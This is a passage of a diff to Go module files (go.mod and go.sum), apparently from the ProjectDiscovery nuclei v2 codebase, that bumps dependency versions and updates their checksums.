github.com/projectdiscovery/dsl v0.0.16 github.com/projectdiscovery/dsl v0.0.21
github.com/projectdiscovery/fasttemplate v0.0.2 github.com/projectdiscovery/fasttemplate v0.0.2
github.com/projectdiscovery/goflags v0.1.18 github.com/projectdiscovery/goflags v0.1.20
github.com/projectdiscovery/gologger v1.1.11 github.com/projectdiscovery/gologger v1.1.11
github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6 github.com/projectdiscovery/gozero v0.0.0-20230510004414-f1d11fdaf5c6
github.com/projectdiscovery/httpx v1.3.4 github.com/projectdiscovery/httpx v1.3.4
@ -79,7 +80,7 @@ require (
github.com/projectdiscovery/sarif v0.0.1 github.com/projectdiscovery/sarif v0.0.1
github.com/projectdiscovery/tlsx v1.1.4 github.com/projectdiscovery/tlsx v1.1.4
github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1 github.com/projectdiscovery/uncover v1.0.6-0.20230601103158-bfd7e02a5bb1
github.com/projectdiscovery/utils v0.0.51 github.com/projectdiscovery/utils v0.0.54
github.com/projectdiscovery/wappalyzergo v0.0.107 github.com/projectdiscovery/wappalyzergo v0.0.107
github.com/stretchr/testify v1.8.4 github.com/stretchr/testify v1.8.4
gopkg.in/src-d/go-git.v4 v4.13.1 gopkg.in/src-d/go-git.v4 v4.13.1
@ -91,7 +92,6 @@ require (
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.0 // indirect
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0 // indirect
github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v1.0.0 // indirect
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81 // indirect
github.com/VividCortex/ewma v1.2.0 // indirect github.com/VividCortex/ewma v1.2.0 // indirect
github.com/andybalholm/brotli v1.0.5 // indirect github.com/andybalholm/brotli v1.0.5 // indirect
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.10 // indirect
@ -100,22 +100,21 @@ require (
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.30 // indirect github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.30 // indirect
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.4 // indirect github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.14.4 // indirect
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
github.com/bits-and-blooms/bitset v1.3.1 // indirect github.com/bits-and-blooms/bitset v1.8.0 // indirect
github.com/bits-and-blooms/bloom/v3 v3.4.0 // indirect github.com/bits-and-blooms/bloom/v3 v3.5.0 // indirect
github.com/charmbracelet/glamour v0.6.0 // indirect
github.com/cheggaaa/pb/v3 v3.1.4 // indirect github.com/cheggaaa/pb/v3 v3.1.4 // indirect
github.com/cloudflare/cfssl v1.6.4 // indirect github.com/cloudflare/cfssl v1.6.4 // indirect
github.com/cloudflare/circl v1.3.3 // indirect github.com/cloudflare/circl v1.3.3 // indirect
github.com/dlclark/regexp2 v1.10.0 // indirect github.com/dlclark/regexp2 v1.10.0 // indirect
github.com/fatih/color v1.15.0 // indirect github.com/fatih/color v1.15.0 // indirect
github.com/gabriel-vasile/mimetype v1.4.2 // indirect github.com/gabriel-vasile/mimetype v1.4.2 // indirect
github.com/gaukas/godicttls v0.0.3 // indirect github.com/gaukas/godicttls v0.0.4 // indirect
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
github.com/google/certificate-transparency-go v1.1.4 // indirect github.com/google/certificate-transparency-go v1.1.4 // indirect
github.com/google/go-github/v30 v30.1.0 // indirect github.com/google/go-github/v30 v30.1.0 // indirect
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f // indirect github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f // indirect
github.com/hashicorp/go-version v1.6.0 // indirect github.com/hashicorp/go-version v1.6.0 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.5 // indirect github.com/hashicorp/golang-lru/v2 v2.0.6 // indirect
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf // indirect github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf // indirect
github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect
github.com/kataras/jwt v0.1.8 // indirect github.com/kataras/jwt v0.1.8 // indirect
@ -131,16 +130,17 @@ require (
github.com/projectdiscovery/asnmap v1.0.4 // indirect github.com/projectdiscovery/asnmap v1.0.4 // indirect
github.com/projectdiscovery/cdncheck v1.0.9 // indirect github.com/projectdiscovery/cdncheck v1.0.9 // indirect
github.com/projectdiscovery/freeport v0.0.5 // indirect github.com/projectdiscovery/freeport v0.0.5 // indirect
github.com/quic-go/quic-go v0.37.0 // indirect github.com/projectdiscovery/gostruct v0.0.1 // indirect
github.com/refraction-networking/utls v1.4.2 // indirect github.com/quic-go/quic-go v0.38.1 // indirect
github.com/sashabaranov/go-openai v1.14.1 // indirect github.com/refraction-networking/utls v1.5.2 // indirect
github.com/sashabaranov/go-openai v1.14.2 // indirect
github.com/shoenig/go-m1cpu v0.1.6 // indirect github.com/shoenig/go-m1cpu v0.1.6 // indirect
github.com/skeema/knownhosts v1.1.1 // indirect github.com/skeema/knownhosts v1.1.1 // indirect
github.com/smartystreets/assertions v1.0.0 // indirect github.com/smartystreets/assertions v1.0.0 // indirect
github.com/smartystreets/goconvey v1.6.4 // indirect github.com/smartystreets/goconvey v1.6.4 // indirect
github.com/tidwall/btree v1.6.0 // indirect github.com/tidwall/btree v1.6.0 // indirect
github.com/tidwall/buntdb v1.3.0 // indirect github.com/tidwall/buntdb v1.3.0 // indirect
github.com/tidwall/gjson v1.14.4 // indirect github.com/tidwall/gjson v1.16.0 // indirect
github.com/tidwall/grect v0.1.4 // indirect github.com/tidwall/grect v0.1.4 // indirect
github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect
@ -150,7 +150,7 @@ require (
github.com/ysmood/got v0.34.1 // indirect github.com/ysmood/got v0.34.1 // indirect
github.com/yuin/goldmark v1.5.4 // indirect github.com/yuin/goldmark v1.5.4 // indirect
github.com/yuin/goldmark-emoji v1.0.1 // indirect github.com/yuin/goldmark-emoji v1.0.1 // indirect
go.uber.org/atomic v1.10.0 // indirect github.com/zeebo/blake3 v0.2.3 // indirect
gopkg.in/djherbis/times.v1 v1.3.0 // indirect gopkg.in/djherbis/times.v1 v1.3.0 // indirect
) )
@ -163,9 +163,9 @@ require (
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751 // indirect
github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect github.com/alecthomas/units v0.0.0-20211218093645-b94a6e3cc137 // indirect
github.com/andybalholm/cascadia v1.3.1 // indirect github.com/andybalholm/cascadia v1.3.1 // indirect
github.com/antchfx/xpath v1.2.3 // indirect github.com/antchfx/xpath v1.2.3
github.com/aymerick/douceur v0.2.0 // indirect github.com/aymerick/douceur v0.2.0 // indirect
github.com/caddyserver/certmagic v0.17.2 // indirect github.com/caddyserver/certmagic v0.19.2 // indirect
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dimchansky/utfbom v1.1.1 // indirect github.com/dimchansky/utfbom v1.1.1 // indirect
@ -181,21 +181,21 @@ require (
github.com/golang/protobuf v1.5.3 // indirect github.com/golang/protobuf v1.5.3 // indirect
github.com/golang/snappy v0.0.4 // indirect github.com/golang/snappy v0.0.4 // indirect
github.com/google/go-querystring v1.1.0 // indirect github.com/google/go-querystring v1.1.0 // indirect
github.com/google/uuid v1.3.0 // indirect github.com/google/uuid v1.3.1 // indirect
github.com/gorilla/css v1.0.0 // indirect github.com/gorilla/css v1.0.0 // indirect
github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect
github.com/hashicorp/go-retryablehttp v0.7.2 // indirect github.com/hashicorp/go-retryablehttp v0.7.2 // indirect
github.com/hdm/jarm-go v0.0.7 // indirect github.com/hdm/jarm-go v0.0.7 // indirect
github.com/iancoleman/orderedmap v0.0.0-20190318233801-ac98e3ecb4b0 // indirect github.com/iancoleman/orderedmap v0.0.0-20190318233801-ac98e3ecb4b0 // indirect
github.com/itchyny/timefmt-go v0.1.5 // indirect github.com/itchyny/timefmt-go v0.1.5 // indirect
github.com/klauspost/cpuid/v2 v2.1.1 // indirect github.com/klauspost/cpuid/v2 v2.2.5 // indirect
github.com/leodido/go-urn v1.2.4 // indirect github.com/leodido/go-urn v1.2.4 // indirect
github.com/libdns/libdns v0.2.1 // indirect github.com/libdns/libdns v0.2.1 // indirect
github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-isatty v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect github.com/mattn/go-runewidth v0.0.14 // indirect
github.com/mholt/acmez v1.0.4 // indirect github.com/mholt/acmez v1.2.0 // indirect
github.com/microcosm-cc/bluemonday v1.0.25 // indirect github.com/microcosm-cc/bluemonday v1.0.25 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect github.com/modern-go/reflect2 v1.0.2 // indirect
@ -217,16 +217,16 @@ require (
github.com/ysmood/leakless v0.8.0 // indirect github.com/ysmood/leakless v0.8.0 // indirect
github.com/yusufpapurcu/wmi v1.2.3 // indirect github.com/yusufpapurcu/wmi v1.2.3 // indirect
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
github.com/zmap/zcrypto v0.0.0-20230422215203-9a665e1e9968 // indirect github.com/zmap/zcrypto v0.0.0-20230814193918-dbe676986518 // indirect
go.etcd.io/bbolt v1.3.7 // indirect go.etcd.io/bbolt v1.3.7 // indirect
go.uber.org/zap v1.24.0 // indirect go.uber.org/zap v1.25.0 // indirect
goftp.io/server/v2 v2.0.0 // indirect goftp.io/server/v2 v2.0.1 // indirect
golang.org/x/crypto v0.12.0 golang.org/x/crypto v0.12.0
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090 golang.org/x/exp v0.0.0-20230817173708-d852ddb80c63
golang.org/x/mod v0.12.0 // indirect golang.org/x/mod v0.12.0 // indirect
golang.org/x/sys v0.11.0 // indirect golang.org/x/sys v0.11.0 // indirect
golang.org/x/time v0.3.0 // indirect golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.11.0 // indirect golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846 // indirect
google.golang.org/appengine v1.6.7 // indirect google.golang.org/appengine v1.6.7 // indirect
google.golang.org/protobuf v1.31.0 // indirect google.golang.org/protobuf v1.31.0 // indirect
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect

149
v2/go.sum
View File

@ -26,10 +26,9 @@ github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057 h1:KFac3SiGbId8ub
github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4= github.com/Mzack9999/gcache v0.0.0-20230410081825-519e28eab057/go.mod h1:iLB2pivrPICvLOuROKmlqURtFIEsoJZaMidQfCG1+D4=
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8= github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809 h1:ZbFL+BDfBqegi+/Ssh7im5+aQfBRx6it+kHnC7jaDU8=
github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4= github.com/Mzack9999/go-http-digest-auth-client v0.6.1-0.20220414142836-eb8883508809/go.mod h1:upgc3Zs45jBDnBT4tVRgRcgm26ABpaP7MoTSdgysca4=
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81 h1:rwHZjxG8Cx3+FNujiZRuJbYTLHmW8U9+6xIoTseKA/I=
github.com/Mzack9999/gostruct v0.0.0-20230415193108-30b70932da81/go.mod h1:iXPMmoXMc0ZsSmbbHqhWCWd8w7FkXM7DU2IBf5OS+5g=
github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd h1:RTWs+wEY9efxTKK5aFic5C5KybqQelGcX+JdM69KoTo= github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd h1:RTWs+wEY9efxTKK5aFic5C5KybqQelGcX+JdM69KoTo=
github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd/go.mod h1:AqtPw7WNT0O69k+AbPKWVGYeW94TqgMW/g+Ppc8AZr4= github.com/Mzack9999/ldapserver v1.0.2-0.20211229000134-b44a0d6ad0dd/go.mod h1:AqtPw7WNT0O69k+AbPKWVGYeW94TqgMW/g+Ppc8AZr4=
github.com/ProtonMail/go-crypto v0.0.0-20230217124315-7d5c6f04bbb8/go.mod h1:I0gYDMZ6Z5GRU7l58bNFSkPTFN6Yl12dsUlAZ8xy98g=
github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903 h1:ZK3C5DtzV2nVAQTx5S5jQvMeDqWtD1By5mOoyY/xJek= github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903 h1:ZK3C5DtzV2nVAQTx5S5jQvMeDqWtD1By5mOoyY/xJek=
github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903/go.mod h1:8TI4H3IbrackdNgv+92dI+rhpCaLqM0IfpgCgenFvRE= github.com/ProtonMail/go-crypto v0.0.0-20230518184743-7afd39499903/go.mod h1:8TI4H3IbrackdNgv+92dI+rhpCaLqM0IfpgCgenFvRE=
github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM= github.com/PuerkitoBio/goquery v1.8.1 h1:uQxhNlArOIdbrH1tr0UXwdVFgDcZDrZVdcpygAcwmWM=
@ -113,17 +112,16 @@ github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiE
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk=
github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4=
github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8= github.com/benbjohnson/clock v1.3.0 h1:ip6w0uFQkncKQ979AypyG0ER7mqUSBdKLOgAle/AT8A=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/bits-and-blooms/bitset v1.8.0 h1:FD+XqgOZDUxxZ8hzoBFuV9+cGWY9CslN6d5MS5JVb4c=
github.com/bits-and-blooms/bitset v1.3.1 h1:y+qrlmq3XsWi+xZqSaueaE8ry8Y127iMxlMfqcK8p0g= github.com/bits-and-blooms/bitset v1.8.0/go.mod h1:7hO7Gc7Pp1vODcmWvKMRA9BNmbv6a/7QIWpPxHddWR8=
github.com/bits-and-blooms/bitset v1.3.1/go.mod h1:gIdJ4wp64HaoK2YrL1Q5/N7Y16edYb8uY+O0FJTyyDA= github.com/bits-and-blooms/bloom/v3 v3.5.0 h1:AKDvi1V3xJCmSR6QhcBfHbCN4Vf8FfxeWkMNQfmAGhY=
github.com/bits-and-blooms/bloom/v3 v3.4.0 h1:9zesenPR5M3SLIJ/esQ84o1eSVFY5Rw5d+pa1tiXQNA= github.com/bits-and-blooms/bloom/v3 v3.5.0/go.mod h1:Y8vrn7nk1tPIlmLtW2ZPV+W7StdVMor6bC1xgpjMZFs=
github.com/bits-and-blooms/bloom/v3 v3.4.0/go.mod h1:bhUUknWd5khVbTe4UgMCSiOOVJzr3tMoijSK3WwvW90=
github.com/bluele/gcache v0.0.2 h1:WcbfdXICg7G/DGBh1PFfcirkWOQV+v077yF1pSy3DGw= github.com/bluele/gcache v0.0.2 h1:WcbfdXICg7G/DGBh1PFfcirkWOQV+v077yF1pSy3DGw=
github.com/bluele/gcache v0.0.2/go.mod h1:m15KV+ECjptwSPxKhOhQoAFQVtUFjTVkc3H8o0t/fp0= github.com/bluele/gcache v0.0.2/go.mod h1:m15KV+ECjptwSPxKhOhQoAFQVtUFjTVkc3H8o0t/fp0=
github.com/bwesterb/go-ristretto v1.2.0/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0= github.com/bwesterb/go-ristretto v1.2.0/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0=
github.com/caddyserver/certmagic v0.17.2 h1:o30seC1T/dBqBCNNGNHWwj2i5/I/FMjBbTAhjADP3nE= github.com/caddyserver/certmagic v0.19.2 h1:HZd1AKLx4592MalEGQS39DKs2ZOAJCEM/xYPMQ2/ui0=
github.com/caddyserver/certmagic v0.17.2/go.mod h1:ouWUuC490GOLJzkyN35eXfV8bSbwMwSf4bdhkIxtdQE= github.com/caddyserver/certmagic v0.19.2/go.mod h1:fsL01NomQ6N+kE2j37ZCnig2MFosG+MIO4ztnmG/zz8=
github.com/charmbracelet/glamour v0.6.0 h1:wi8fse3Y7nfcabbbDuwolqTqMQPMnVPeZhDM273bISc= github.com/charmbracelet/glamour v0.6.0 h1:wi8fse3Y7nfcabbbDuwolqTqMQPMnVPeZhDM273bISc=
github.com/charmbracelet/glamour v0.6.0/go.mod h1:taqWV4swIMMbWALc0m7AfE9JkPSU8om2538k9ITBxOc= github.com/charmbracelet/glamour v0.6.0/go.mod h1:taqWV4swIMMbWALc0m7AfE9JkPSU8om2538k9ITBxOc=
github.com/cheggaaa/pb/v3 v3.1.4 h1:DN8j4TVVdKu3WxVwcRKu0sG00IIU6FewoABZzXbRQeo= github.com/cheggaaa/pb/v3 v3.1.4 h1:DN8j4TVVdKu3WxVwcRKu0sG00IIU6FewoABZzXbRQeo=
@ -178,8 +176,8 @@ github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMo
github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI=
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
github.com/gaukas/godicttls v0.0.3 h1:YNDIf0d9adcxOijiLrEzpfZGAkNwLRzPaG6OjU7EITk= github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
github.com/gaukas/godicttls v0.0.3/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI= github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
github.com/gliderlabs/ssh v0.3.5 h1:OcaySEmAQJgyYcArR+gGGTHCyE7nvhEMTlYY+Dp8CpY= github.com/gliderlabs/ssh v0.3.5 h1:OcaySEmAQJgyYcArR+gGGTHCyE7nvhEMTlYY+Dp8CpY=
github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI= github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI=
@ -243,7 +241,7 @@ github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4r
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ= github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo= github.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo=
github.com/google/go-github/v30 v30.1.0/go.mod h1:n8jBpHl45a/rlBUtRJMOG4GhNADUQFEufcolZ95JfU8= github.com/google/go-github/v30 v30.1.0/go.mod h1:n8jBpHl45a/rlBUtRJMOG4GhNADUQFEufcolZ95JfU8=
github.com/google/go-github/v50 v50.1.0/go.mod h1:Ev4Tre8QoKiolvbpOSG3FIi4Mlon3S2Nt9W5JYqKiwA= github.com/google/go-github/v50 v50.2.0/go.mod h1:VBY8FB6yPIjrtKhozXv4FQupxKLS6H4m6xFZlT43q8Q=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
@ -251,8 +249,8 @@ github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/
github.com/google/pprof v0.0.0-20230207041349-798e818bf904/go.mod h1:uglQLonpP8qtYCYyzA+8c/9qtqgA3qsXGYqCPKARAFg= github.com/google/pprof v0.0.0-20230207041349-798e818bf904/go.mod h1:uglQLonpP8qtYCYyzA+8c/9qtqgA3qsXGYqCPKARAFg=
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f h1:pDhu5sgp8yJlEF/g6osliIIpF9K4F5jvkULXa4daRDQ= github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f h1:pDhu5sgp8yJlEF/g6osliIIpF9K4F5jvkULXa4daRDQ=
github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f/go.mod h1:czg5+yv1E0ZGTi6S6vVK1mke0fV+FaUhNGcd6VRS9Ik= github.com/google/pprof v0.0.0-20230821062121-407c9e7a662f/go.mod h1:czg5+yv1E0ZGTi6S6vVK1mke0fV+FaUhNGcd6VRS9Ik=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gorilla/css v1.0.0 h1:BQqNyPTi50JCFMTw/b67hByjMVXZRwGha6wxVGkeihY= github.com/gorilla/css v1.0.0 h1:BQqNyPTi50JCFMTw/b67hByjMVXZRwGha6wxVGkeihY=
@ -267,8 +265,8 @@ github.com/hashicorp/go-retryablehttp v0.7.2 h1:AcYqCvkpalPnPF2pn0KamgwamS42TqUD
github.com/hashicorp/go-retryablehttp v0.7.2/go.mod h1:Jy/gPYAdjqffZ/yFGCFV2doI5wjtH1ewM9u8iYVjtX8= github.com/hashicorp/go-retryablehttp v0.7.2/go.mod h1:Jy/gPYAdjqffZ/yFGCFV2doI5wjtH1ewM9u8iYVjtX8=
github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek= github.com/hashicorp/go-version v1.6.0 h1:feTTfFNnjP967rlCxM/I9g701jU+RN74YKx2mOkIeek=
github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/go-version v1.6.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
github.com/hashicorp/golang-lru/v2 v2.0.5 h1:wW7h1TG88eUIJ2i69gaE3uNVtEPIagzhGvHgwfx2Vm4= github.com/hashicorp/golang-lru/v2 v2.0.6 h1:3xi/Cafd1NaoEnS/yDssIiuVeDVywU0QdFGl3aQaQHM=
github.com/hashicorp/golang-lru/v2 v2.0.5/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hashicorp/golang-lru/v2 v2.0.6/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf h1:umfGUaWdFP2s6457fz1+xXYIWDxdGc7HdkLS9aJ1skk= github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf h1:umfGUaWdFP2s6457fz1+xXYIWDxdGc7HdkLS9aJ1skk=
github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf/go.mod h1:V99KdStnMHZsvVOwIvhfcUzYgYkRZeQWUtumtL+SKxA= github.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf/go.mod h1:V99KdStnMHZsvVOwIvhfcUzYgYkRZeQWUtumtL+SKxA=
github.com/hdm/jarm-go v0.0.7 h1:Eq0geenHrBSYuKrdVhrBdMMzOmA+CAMLzN2WrF3eL6A= github.com/hdm/jarm-go v0.0.7 h1:Eq0geenHrBSYuKrdVhrBdMMzOmA+CAMLzN2WrF3eL6A=
@ -305,11 +303,12 @@ github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT
